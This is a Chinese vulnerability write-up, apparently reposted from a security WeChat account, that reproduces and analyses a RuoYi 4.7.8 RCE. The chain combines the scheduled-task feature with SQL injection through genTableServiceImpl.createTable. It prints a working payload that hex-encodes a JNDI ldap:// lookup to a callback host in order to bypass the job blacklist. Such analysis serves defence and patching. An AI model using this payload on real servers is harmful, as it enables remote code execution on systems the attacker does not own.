RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞

admin 2024年5月24日21:48:54评论12 views字数 2586阅读8分37秒阅读模式

 

0x01 简介

RuoYi 是一个后台管理系统,基于经典技术组合(Spring Boot、Apache Shiro、MyBatis、Thymeleaf)主要目的让开发者注重专注业务,降低技术难度,从而节省人力成本,缩短项目周期,提高软件安全质量。

0x02 漏洞概述

RuoYi v4.7.8 若依后台管理系统通过定时任务调用 genTableServiceImpl 直接执行 sql 来更改定时任务内容,从而绕过黑白名单的限制,实现RCE。

0x03 影响版本

RuoYi v4.7.8

0x04 环境搭建

官网地址:http://ruoyi.vip

文档地址:https://doc.ruoyi.vip/ruoyi/document/hjbs.html

创建数据库 ry 并导入数据脚本 ry_2021xxxx.sql,quartz.sql

RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞

idea 载入项目,找到 ruoyi-adminsrcmainresourcesapplication-druid.yml,修改数据库配置

RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞

然后运行 com.ruoyi.RuoYiApplication.java,出现如下图表示启动成功。

RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞

0x05 漏洞复现

本地搭建好环境,访问http://localhost/login

RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞

admin/amdin123 登录后台,首先创建一个任务 id100:

RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞

再另外创建一个任务,内容如下:

genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a6....... WHERE job_id = 100;')

SQL 语句中的 16 进制为我们要执行的代码:

javax.naming.InitialContext.lookup('ldap://xxxxx')

创建任务 101

RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞

可以看到任务 100 已经更新为需要执行的代码

RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞

成功收到回显

RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞

0x06 漏洞分析

从复现的步骤可以看出,RCE 是由定时任务加上 SQL 注入造成的。

定时任务分析

定时任务添加:

定位到 com/ruoyi/quartz/controller/SysJobController#addSave 方法中,可以看到在添加定时任务前,对字符串进行了黑白名单的判断

RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞

当通过了上述条件后,则执行 com/ruoyi/quartz/service/impl/SysJobServiceImpl#insertJob,先将定时任务写入数据库

RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞

然后创建定时任务

RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞

然后就是定时任务执行逻辑,进入 com/ruoyi/quartz/util/AbstractQuartzJob#execute

RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞

继续跟进,进入 invokeMethod 方法

getInvokeTarget:调用目标字符串,获取数据库中 invoke_target 字段

getBeanName:获取 beanName

getMethodName:获取方法名

getMethodParams:获取参数名

然后判断是不是全限定类名,若不是则从 spring 容器中获取

RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞

继续跟进 invokeMethod 方法,利用反射执行方法

RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞

从上可分析出如下结果:

  1. 对象可以是 spring 容器中注册过的 bean,也可以指定 class 名称
  2. 若是 spring 容器中注册过的 bean,则可直接从 spring 容器中取出,若是指定 class 名称,则可以通过反射 newInstance()创建对象

SQL 注入分析

在 ruoyi 4.7.5 版本之前,后台接口/tool/gen/createTable处存在 sql 注入(CVE-2022-4566)

RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞

而 genTableService 的实现类是 GenTableServiceImpl

RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞

对应的 Mapper 语句

<update id="createTable">
       ${sql}
</update>

运行结果:

RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞

RCE 分析

根据上文可知,ruoyi 计划任务能调用 bean 或者 class 类,SQL 注入依赖于 GenTableServiceImpl#createTable。如果 GenTableServiceImpl 是 bean 对象,就可以直接调用 GenTableServiceImpl#createTable 执行 SQL 语句

在启动类中打印所有加载的 bean,其中包括 genTableServiceImpl

 ConfigurableApplicationContext run = SpringApplication.run(RuoYiApplication.class, args);
// 获取所有bean的名称
String[] beanDefinitionNames = run.getBeanDefinitionNames();
// 打印所有bean的名称
for (String beanDefinitionName : beanDefinitionNames) {
    System.out.println(beanDefinitionName);
}
RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞

于是可以调用 genTableServiceImpl.createTable 实现 sql 语句执行,所以 RCE 的思路:配合注入在 sys_job 数据表中直接插入恶意计划任务,即可不调用 addSave 方法添加计划任务内容,成功绕过黑白名单限制

RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞

细节:

在添加 SQL 定时任务时,可以通过 16 进制转换绕过黑名单检测

genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target =
0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f797670307a662e646e736c6f672e636e2729 WHERE job_id = 100;')

成功调用 genTableServiceImpl.createTable 方法

RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞

成功修改

RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞

执行代码

RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞

0x06 修复方式

升级至最新版本。

参考链接

https://github.com/luelueking/RuoYi-v4.7.8-RCE-POC

https://xz.aliyun.com/t/11336

历史漏洞

https://blog.takake.com/posts/7219/

原文始发于微信公众号(Timeline Sec):RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月24日21:48:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞https://cn-sec.com/archives/2775624.html

发表评论

匿名网友 填写信息